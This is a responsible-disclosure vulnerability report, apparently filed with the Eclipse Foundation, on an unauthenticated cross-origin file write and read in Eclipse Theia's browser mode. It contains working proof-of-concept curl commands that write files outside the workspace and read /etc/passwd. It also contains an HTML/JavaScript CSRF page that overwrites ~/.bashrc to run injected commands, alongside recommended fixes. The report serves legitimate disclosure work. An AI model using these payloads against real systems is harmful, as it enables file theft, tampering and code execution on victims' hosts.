[Eclipse Theia] unauthenticated cross-origin arbitrary file write, escalate to RCE
## Basic information **Project name:** eclipse-theia/theia **Project id:** ecd.theia ## What are the affected versions? Browser (non-Electron) mode. Verified on master HEAD `3351cf1363eb15fad7088cfc9e6857377baf0acc`, with the browser connection token enabled. The affected code (the `POST /file-upload` handler and the browser connection-token HTTP middleware) is present in the current release line that uses browser mode; we tested master HEAD. Electron mode uses `ElectronSecurityToken` and is not affected via this path. ## Details of the issue **Summary.** The backend binds `POST /file-upload` in every filesystem-enabled deployment. The handler takes an attacker-supplied absolute path from the multipart `uri` field and calls `fs.move(tmp, target, { overwrite: true })` with no workspace confinement and no authentication. Because the browser connection token does not gate HTTP routes, and because `multipart/form-data` is a CORS-safelisted request type, a cross-origin web page can trigger the write with no preflight and no credentials. **Write sink (no confinement, no auth):** - `packages/filesystem/src/node/upload/node-file-upload-service.ts:42-47`: route registered as `multer` then handler, with no auth and no validation. - `:64-78`: `target = FileUri.fsPath(fields.uri)` then `fs.move(..., { overwrite: true })`. `FileUri.fsPath()` does no normalization or containment. **The connection token does not protect HTTP routes.** The token added in PR #17701 rejects tokenless WebSocket upgrades, but its HTTP middleware only (re)issues the cookie and then unconditionally calls `next()`: - `packages/core/src/node/hosting/browser-connection-token.ts:74-85`: a WebSocket upgrade with no token is rejected. - `:87-99`: the HTTP `expressMiddleware` never rejects, so the token is never enforced on HTTP. **Impact (verified on a built backend).** A user visiting a malicious web page while a browser-mode Theia backend is running is exposed to: - Arbitrary file write outside the workspace: a tokenless cross-origin `POST /file-upload` with `uri=file:///home/<user>/...` wrote a file to that absolute path (HTTP 200). - Arbitrary file read: `GET /file?file:///etc/passwd`, the two-step `/files/` download, and `PUT /files/` (which returned a multi-file `tar`) all returned host files with no token. - Code execution on the host (conditional): overwriting a startup-executed file such as `~/.bashrc` caused injected content to run on the next interactive shell. Full execution is conditional on the attacker targeting a known startup-file path and a later shell or login occurring; the arbitrary write and read are unconditional. **Discriminating control (isolates the defect).** With the same missing token, a WebSocket handshake carrying a valid same-origin `Origin` returned 403, while `POST /file-upload` returned 200 and wrote the file. This confirms the token gates only the WebSocket layer, not HTTP routes, and rules out the deployment simply being unauthenticated. **Severity.** Critical, CVSS ~9.6 (`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H`), where the backend runs as root or in a container, or where the write reaches a startup-executed path (both conditions were present in our test). Unconditional floor: High, CVSS 8.8 (`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H`, arbitrary read and write, non-root), which applies to any browser-mode deployment. CWE-352 (CSRF), CWE-306 (Missing Authentication), CWE-22/73 (external control of file path). **Blast radius.** The `/file-upload` route is bound framework-wide, so this affects Theia and downstream products built on browser-mode Theia (for example Eclipse Che, Arduino IDE, and vendor cloud or desktop IDEs). **Prior advisories (not a duplicate).** Distinct from the two published Theia advisories: GHSA-2m57-xxmh-v696 (`/services/request-service` SSRF) and GHSA-78g8-vm3p-97c6 (cross-origin WebSocket terminal command execution). Neither covers the `/file-upload` write, the HTTP-route CSRF, or the connection token failing to gate HTTP. The PR #17701 hardening is present in the tested HEAD, but does not cover HTTP routes. **Reporter.** Cipher by Causal Security (https://causalsecurity.com/). ## Steps to reproduce Build and run the browser example backend with the connection token enabled: ``` node src-gen/backend/main.js <workspace> --port=3000 --hostname=127.0.0.1 ``` **1. Arbitrary write outside the workspace, plus the WS/HTTP discriminating control** (`curl`): ```bash BASE="http://127.0.0.1:3000" # O1: tokenless write to an absolute path outside the workspace printf 'SENTINEL\n' > /tmp/sentinel.txt curl -s -X POST "$BASE/file-upload" \ -F 'uri=file:///home/USER/theia_pwn' \ -F 'file=@/tmp/sentinel.txt' \ -w '[O1] HTTP=%{http_code}\n' # => HTTP 200; /home/USER/theia_pwn created # O2: same missing token. The Socket.IO/WS layer rejects, the HTTP route does not. # WS handshake with a VALID same-origin Origin but NO token -> still 403. # (Valid Origin isolates the token as the gate, not the origin check.) curl -s -o /dev/null -w '[WS] valid-origin, no-token HTTP=%{http_code}\n' \ -H 'Origin: http://127.0.0.1:3000' "$BASE/socket.io/?EIO=4&transport=polling" # => 403 # HTTP /file-upload with NO token -> 200 and the file is written. curl -s -o /dev/null -w '[HTTP] no-token HTTP=%{http_code}\n' \ -X POST "$BASE/file-upload" -F 'uri=file:///home/USER/theia_pwn2' -F 'file=@/tmp/sentinel.txt' # => 200 # O4: tokenless arbitrary read curl -s "$BASE/file?file:///etc/passwd" # => 200, returns /etc/passwd ``` **2. Cross-origin CSRF, write to a startup file, code execution on next shell.** Served from a different origin (for example `http://127.0.0.1:8000`); the victim visits it while Theia runs on `:3000`. No credentials, no preflight (multipart is CORS-safelisted): ```html <!doctype html> <script> const fd = new FormData(); fd.append('uri', 'file:///home/USER/.bashrc'); fd.append('file', new Blob(['\necho THEIA_RCE_ON_VISIT > /home/USER/rce_proof.txt\n']), 'x'); fetch('http://127.0.0.1:3000/file-upload', { method: 'POST', body: fd, mode: 'no-cors', credentials: 'omit' }); </script> ``` `~/.bashrc` is overwritten with the injected line, and it executes on the victim's next interactive shell (`rce_proof.txt` is created). ## Do you know any mitigations of the issue? Fix (root cause): 1. Enforce the connection token (or a CSRF token) on all HTTP routes, not just the WebSocket upgrade. Reject requests with a missing or invalid token in `expressMiddleware` instead of unconditionally proceeding. 2. Confine `/file-upload`, `/file`, `/files`, and `/hostedPlugin` targets to the workspace root: canonicalize the resolved path and reject absolute paths and any target outside an allowed root; reconsider `overwrite: true`. Operator mitigation until patched: do not expose a browser-mode Theia backend to an untrusted network or run it where a user may visit an untrusted web page in the same session; Electron mode is not affected via this path.
issue

Copyright © Eclipse Foundation AISBL. All rights reserved.     Privacy Policy | Terms of Use | Copyright Agent